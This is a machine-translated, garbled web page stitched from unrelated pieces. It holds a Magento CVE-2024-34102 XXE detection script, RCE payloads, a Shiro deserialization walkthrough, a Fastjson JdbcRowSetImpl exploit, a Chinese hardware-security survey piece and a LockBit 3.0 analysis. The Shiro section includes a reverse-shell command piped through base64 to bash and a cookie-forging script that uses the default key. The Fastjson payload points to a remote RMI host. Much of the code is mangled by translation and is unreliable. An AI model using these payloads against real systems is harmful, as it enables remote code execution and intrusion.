データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain）

requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25）

範囲（0、3）:のIの場合

更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

time.sleep（1）

refresh.text:のドメインの場合

print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

__name__=='__main __' :の場合

バナー（）

parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'）

parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'）

parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'）

args=parser.parse_args（）

args.url:の場合

read_file（args.url）

elif args.txt:

チェック（args.txt）

else:

parser.print_help（）

上記のバッチ検出コードの主な機能ポイント：

1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール

2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます

3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。

4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します

2。 Pythonパッケージをインポート

Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning）

image-20240801024603100

3。関数関数モジュール

1. banner識別関数

def banner（）:

print（）

印刷（r '' ''

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__）|

/__/

| ______ |

'' '）

print（）

機能：この関数はグラフィカルバナーを印刷します

オンライン生成ツール：http://www.network-science.de/ascii/

または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。

ピップインストールpyfiglet

c: \ users \ testpyfiglet CVE-2024-34102

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__）|

/__/

| ______ |

2.Read_File関数モジュール

関数：この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します（URLであると仮定）。

注：このコードモジュールは、修正および変更されていないdef read_file（file_path）: #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。

file:としてopen（file_path、 'r'）があります

＃開いた関数を使用して、指定されたパスが読み取りモード（ 'r'）でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。

urls=file.read（）。splitlines（）

＃ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines（）メソッド各行のnewlinesを削除します

returns #returnすべてのURLのリストを返します

3.関数モジュールを確認

注：ここでは、実際の条件に応じてdef check（url）:を変更できます

＃チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します

url=url.rstrip（ '/'）

＃URLの最後にスラッシュを削除します（存在する場合）

taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'）

＃urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します

try:

#try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします

ヘッダー={

'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

#set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です

getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

＃dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。

domain=str（getDomain.Text）

＃応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain）

＃この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する

requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25）

＃ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ

範囲（0、3）:のIの場合

#DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します

更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30）

＃DNSLOG.CNにリクエストを送信して、DNSレコードを取得します

time.sleep（1）

refresh.text:のドメインの場合

＃ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します

print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'）

#printが見つかった脆弱性に関する情報

trueを返します

＃脆弱性が検出されたことを示すためにtrueを返します

E:としての例外を除く

＃上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します

合格

関数を検出する主な方法：タイプDEFチェック（URL）:を取得

url=url.rstrip（ '/'）

ターゲット=url+'/urlパス'

ヘッダー={

'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、yike gecko）chrome/41.0.22227.0 safari/537.36 ''

}

try:

#get要求方法

Response=urllib.request.request（ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true）

res=urllib.request.urlopen（response）

status_code=res.getCode（）

content=res.read（）。decode（）

status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合

＃主な一致する脆弱性検証ルール

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrce脆弱性があります）\ 033 [0m'）

E:としての例外を除く

合格

ポストタイプDEF CHECK1（URL）:

url=url.rstrip（ '/'）

ターゲット=urljoin（url、 '/url path'）

ヘッダー={

'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、geckoのような）Chrome/41.0.22227.0 Safari/537.36 '、

'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ

}

#postリクエストデータ

data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder（\\\ 'echo \\\'、\\\ 'helloworldtest \\\'）。start（） null）{ss+=line}; return ss;} '}'

try:

#postリクエストメソッド

response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15）

respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

def check2（url）:

url=url.rstrip（ '/'）

ターゲット=urljoin（url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action'）

ヘッダー={

'user-agent':' mozilla/2.0（互換性、msie 3.01; Windows 95 '、

'content-type':'アプリケーション/x-www-form-urlencoded '

}

データ='' ModulID=1Code=％253CCLOB％253E％2524％257B％2522Freemarker.template.utility.execute％2522％253fnew％2528％2529％2528％2522ARP％2520-A％2522％2529％257D％253C％253CLOB

try:

response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15）

response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text:

＃主な一致する脆弱性検証ルール

print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'）

trueを返します

E:としての例外を除く

合格

iv。メイン関数関数モジュール

関数：上記の関数を呼び出します

この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。

__name__=='__main __' :の場合

＃バナー機能をコールし、上記の識別図を表示します

バナー（）

#command Lineパラメーターパーサー

parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'）

parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'）

parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'）

HireHackking

shiro

Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。

Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化

認証：ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認：「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理：WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化：暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863：Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。

影響バージョン

Shiro 1.1.0およびJSecurity 0.9.x

脆弱性の再発

アクセスページアドレスは：IP:8080です

脆弱性ポイント/管理者

クロスディレクトリを使用して辞書ファズをテストします

image.png

image.png

CVE-2016-4437：Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550

脆弱性の原則

Shiro550の脆弱性に属します。

Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。

Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。==

影響バージョン

Apache Shiro=1.2.4

脆弱性の再発

認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。

判断方法：Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。

image.png

image.png

rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。

Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} '

shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します（ツールアドレス：https://github.com/insightglacier/shiro_exploit）

image.png

shiro.pyを使用してペイロードを生成します（自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:)

コマンド：Shiro.py 192.168.17.13233606666

shiro.py:

sysをインポートします

uuidをインポートします

base64をインポートします

サブプロセスをインポートします

crypto.cipher Import AESから

def encode_rememberme（command）:

popen=subprocess.popen（['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe）

bs=aes.block_size

pad=lambda S: s +（（bs -len（s）％bs） * chr（bs -len（s）％bs））。encode（）

key=base64.b64decode（ 'kph+bixk5d2deziixcaaaaa=='）

iv=uuid.uuid4（）。バイト

encryptor=aes.new（key、aes.mode_cbc、iv）

file_body=pad（popen.stdout.read（））

base64_ciphertext=base64.b64encode（iv + encryptor.encrypt（file_body）））

base64_ciphertextを返します

__name__=='__main __' :の場合

ペイロード=encode_rememberme（sys.argv [1]）

print（ 'rememberme={0}'。フォーマット（payload.decode（）））

python3 shiro.py 192.168.200.12933606666

ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme

image.png

CVE-2020-1957：Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions（url2）によって検査され、最後にSpringbootプロジェクトへのルートをプロセス（URL3）で検査したのは、要求したURL（URL1）です。

脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。

Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。

影響バージョン

Apache Shiro 1.5.2

脆弱性の再発

image.png

URLを変更/管理者は自動的にログインログインページにジャンプします

image.png

許可バイパス
の悪意のあるリクエストを構築します

コードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。

URLは/xxx/.

/xxx/./admin/

image.png

shiro 721

脆弱性の再発：CVE-2019-12422

環境：Kali Linux

Dockerビルドとスタート

git clone https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -T Shiro -721。

docker run -p 8080:8080 -d shiro -721

アクセス：

image.png

image.png

image.png

正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します（正しいアカウントパスワードでログインすることで取得したパッケージ）image.png

Get Request Packageは次のとおりです（これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです）image.png Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性image.png44444444があると言えます。

BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します

image.png

image.png

ツールの使用率：

image.png

fastjson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

脆弱性の原則

この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。

一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします（Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます）。

@typeフィールド

@Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。

@Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。

ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。

jndi

JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。

JNDI（Javaネーミングとディレクトリインターフェイス）：JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI（リモートメソッド呼び出し）：RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP（LightWeight Directory Access Protocol）：LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。

要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。

jdbcrowsetimplはチェーン

を利用します

Fastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。

これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。

DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。

エクスプロイトは次のとおりです。

{"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true}

次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup（）で抽出されるためです。

FastJSON検出バージョン

1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。

2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません

3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。

CVE-2017-18349 FastJSON 1.2.24-RCE

0x00はじめに

Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。

0x01脆弱性の概要

JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。

0x02影響バージョン

インパクトの範囲：FastJSON=1.2.24

0x03環境構築

CD /vulhub/fastjson/1.2.24-rce

docker -compose up -d

Docker PS

image.png

Dockerはポート8090を開き、ターゲットマシンIPにアクセスします

http://192.168.200.16:8090/

image.png

JDKバージョンの切り替え

脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする

dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ

apt-get purge openjdk-* #uninstall openjdk関連パッケージ

dpkg - リスト| grep -i jdk＃すべてのJDKパッケージがアンインストールされていることを確認してください

jdk1.8をダウンロードします

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

圧縮パッケージをKaliに入れて、環境変数を減圧して構成します

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA＃PLACE IN /OPT /JA

HireHackking

CPU_Processor-e1551372800619.jpeg

遠程勞動力、混合雲和零信任趨勢正在推動安全團隊專注於硬件輔助安全策略，以更好地保護因新冠病毒而發生重大變化的攻擊面。

為了應對新的挑戰，硬件輔助安全被視為獲得IT生態系統可見性、管理數字資產以及降低安全團隊和計算成本的有效的創新方式。這些發現來自英特爾贊助的Ponemon Institute最近的一項調查。

根據這項研究：“由於遠程業務的發展，組織被迫在幾乎沒有預先警告的情況下改變其網絡安全實踐。”53%的受訪者表示，他們IT堆棧中與新冠病毒相關的變化迫使他們更新安全策略。

這一轉變的核心是尋求創新的新方法來管理基礎設施和端點蔓延。最近的漏洞Log4J、ProxyShell和ZeroLogon都強調了這一新動態。在每個零日實例中，安全團隊必須爭先恐後地查看生態系統中哪些可能易受攻擊，需要先修補。

這項對1406名IT專業人員的研究旨在探索採用該技術的公司和考慮採用相關解決方案的公司對硬件輔助安全的態度。該研究還探討了硬件輔助安全如何幫助組織加強安全工作。

什麼是硬件輔助安全？硬件輔助安全（HAS）解決了大型網絡基礎設施中資產可見性的業務挑戰，它使安全團隊能夠更快地發現和修復漏洞。硬件安全性通過設備組件固件或軟件實現這一點，這可以通過虛擬機管理程序和其他網絡監控工具實現更高級別的可見性。

硬件輔助的主要安全組件包括：

控制-流量執法技術（高級惡意軟件保護）

硬件遙測以通知惡意信號（威脅偵察）

加密和加速（安全設備訪問）

端點身份驗證和可信平台模塊芯片（端點身份驗證）

通過HAS在應對威脅中佔據上風可見性和緩解響應是關鍵，Log4J等新出現的威脅以及與漏洞相關的看不見的錯誤就說明了這一點。在這兩種情況下，資產可見性和快速緩解響應時間對於防止攻擊至關重要。

英特爾和Ponemon發現，受訪者認為資產可見性是應對威脅的重要組成部分。安全團隊經常因缺乏對組織整個網絡的可見性而受到阻礙。 HAS允許資源緊張的安全團隊依靠自動化工具來增強安全團隊的網絡管理能力。

研究發現：“威脅環境的快速復雜要求組織領先安全更新一步。”大約一半的受訪者（48%）表示，他們對新披露的漏洞和補丁有足夠的可見性。

這種安全方法與Ponemon的發現相吻合，Ponemon的發現顯示，公司正在尋找創新的新方法來解決現代IT堆棧。 41%的受訪者將自動化和40%的受訪者將應對當今可見性和管理挑戰列為頂級安全創新。

英特爾客戶安全戰略和倡議副總裁兼總經理Tom Garrison說：“沒有可見性和透明度，就沒有信任。”

創新如何降低成本新的遠程勞動力和雲趨勢為對手創造了一場完美的風暴。

這一現實包括遍布混合雲基礎設施的蔓延攻擊面，並將數千個端點和數字資產連接在一起。隨著攻擊表面的增長，網絡管理員和安全團隊面臨的挑戰就是跟踪資產並減少漏洞。

48%的受訪者表示，他們的安全團隊每週就花費17個小時來繪製物聯網設備上的已知漏洞。而HAS中的自動化工具可以簡化這些工作，使安全團隊能夠專注於緩解和漏洞發現。這可以減少安全團隊的工作量，減少員工的倦怠，並降低與安全人員配置相關的成本——同時讓員工專注於減輕真正的威脅，而不是“假陽性”。

據65%採用該技術的公司稱，Ponemon在其研究中排除了這一點，受訪者分享了HAS通過矽水平的硬件資產自動庫存簡化了資產可見性和漏洞暴露。

能見度至關重要，但有時可能目光短淺許多公司仍然難以在子操作系統層面繪製IT資產的已知漏洞。 52%的受訪者表示，他們根據最新的微代碼和CPU更新跟踪設備的安全性，但其餘的則沒有。沒有這種級別的跟踪，組織可能會為BIOS和固件級別的子操作系統惡意軟件攻擊或惡意代碼的持續存在打開大門。

69%的受訪者表示，硬件和固件安全解決方案使漏洞管理更加有效。根據這項研究，“在那些使用硬件和固件安全解決方案的組織中，58%的受訪者表示，他們的組織可以很好地或顯著地了解他們的硬件和固件是否處於已知良好狀態。”

抵消零信任身份驗證成本其他成本考慮因素包括與通過加密進行設備身份驗證所需的支持硬件的加速器相關的成本節約。 36%的受訪者表示，硬件是他們組織端點（PC/IoT）安全戰略的一部分。隨著公司更加重視零信任解決方案，相關計算成本可能會增加。

研究發現，在採用硬件安全的公司中，32%的企業已經實施了零信任解決方案。根據該研究，“隨著組織採用新的安全技術，硬件輔助安全補充了現有協議，並加強了整體安全衛生。”

硬件安全可以允許組織利用支持硬件的加速器來抵消加密成本，從而降低基於加密的身份驗證的計算成本。

根據這項研究，38%的受訪者表示，他們利用硬件加速器來抵消加密成本。 26%的人表示，他們部署了硬件或支持矽的加速器，以抵消在啟用訪問之前驗證端點的成本。

在尋求不斷變化的威脅格局的創新解決方案的組織中，從業者的滿意度和對HAS解決方案的看法非常強烈。 36%的調查受訪者表示，他們的組織採用了硬件輔助安全解決方案，47%的人表示，他們的組織將在未來六個月內採用HAS解決方案。

受訪者告訴英特爾和Ponemon，今天的威脅環境要求“組織在網絡安全實踐中具有敏捷性和創新性”。

HireHackking

BlackMatter是一種勒索軟件變體，它使用Salsa20和1024位RSA加密文件，並需要大量加密貨幣進行解密。與許多其他勒索軟件組織一樣，BlackMatter通過洩露數據的威脅來增加獲得支付贖金的機會。 BlackMatter作為一種勒索軟件即服務(RaaS)運行。

2022年6月，LockBit發布了其勒索軟件3.0版。在這篇文章中，我們將詳細討論其攻擊過程，以及其與BlackMatter勒索軟件的相似之處。

2022年3月，也就是LockBit2.0首次出現不到一年後，研究人員發現了即將推出的LockBit勒索軟件新變種。 LockBit3.0，又名“LockBitBlack”，要到6月下旬才會發布，與此同時，該組織推出了新的漏洞洩露網站和漏洞獎勵計劃。此後，一位研究人員分享了LockBit3.0的樣本，以及他對新變體的初步分析。

detect it easy是一款跨平台的PE查殼工具，研究人員使用這個工具發現這個特定的LockBit3.0樣本是一個Win32.exe文件，其中包含多個部分，由未知的加殼器封裝（圖1）。根據樣本的原始來源，惡意軟件使用此參數執行：

{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe-kLocalServiceNetworkRestricted-passdb66023ab2abcb9957fb01ed50cdfa6aLockBit3.0示例隨後會刪除一個.ico文件，該文件的文件名與附加到%PROGRAMDATA%文件夾中加密文件的文件名相同（圖2）。

1.png

LockBit3.0的文件屬性

2.png

%PROGRAMDATA%文件夾中的.ico文件

作為其加密過程的一部分，LockBit3.0附加了擴展名HLJkNskOq（圖3），並將加密文件的圖標更改為上述.ico文件的圖標。

3.png

帶有新文件名和擴展名的加密文件，以及LockBit的勒索信

然後，勒索軟件釋放其勒索信，其中提到了“IlonMusk”和歐盟的通用數據保護條例(GDPR)。最後，它會更改受害者計算機的壁紙，以通知他們盡快繳納贖金。

4.jpg

LockBit3.0勒索信的內容

5.png

LockBit3.0的桌面壁紙

與BlackMatter勒索軟件的相似之處研究人員指出，LockBit 3.0的部分代碼似乎借鑒了BlackMatter勒索軟件，因此LockBit 3.0又被稱為LockBit Black。同樣地，我們在調試LockBit3.0示例期間發現了BlackMatter和新的LockBit變體之間存在相似之處。從我們對解壓樣本的檢查和研究員ChuongDong提供的分析中，我們發現LockBit3.0需要一個pass參數來解密其主程序。研究人員已經觀察到其他勒索軟件家族，如Egregor也表現出了相同的行為，其中需要參數才能繼續執行該程序。如果參數不可用，這會使二進製文件更難反轉。

6.png

使用-pass參數解密部分

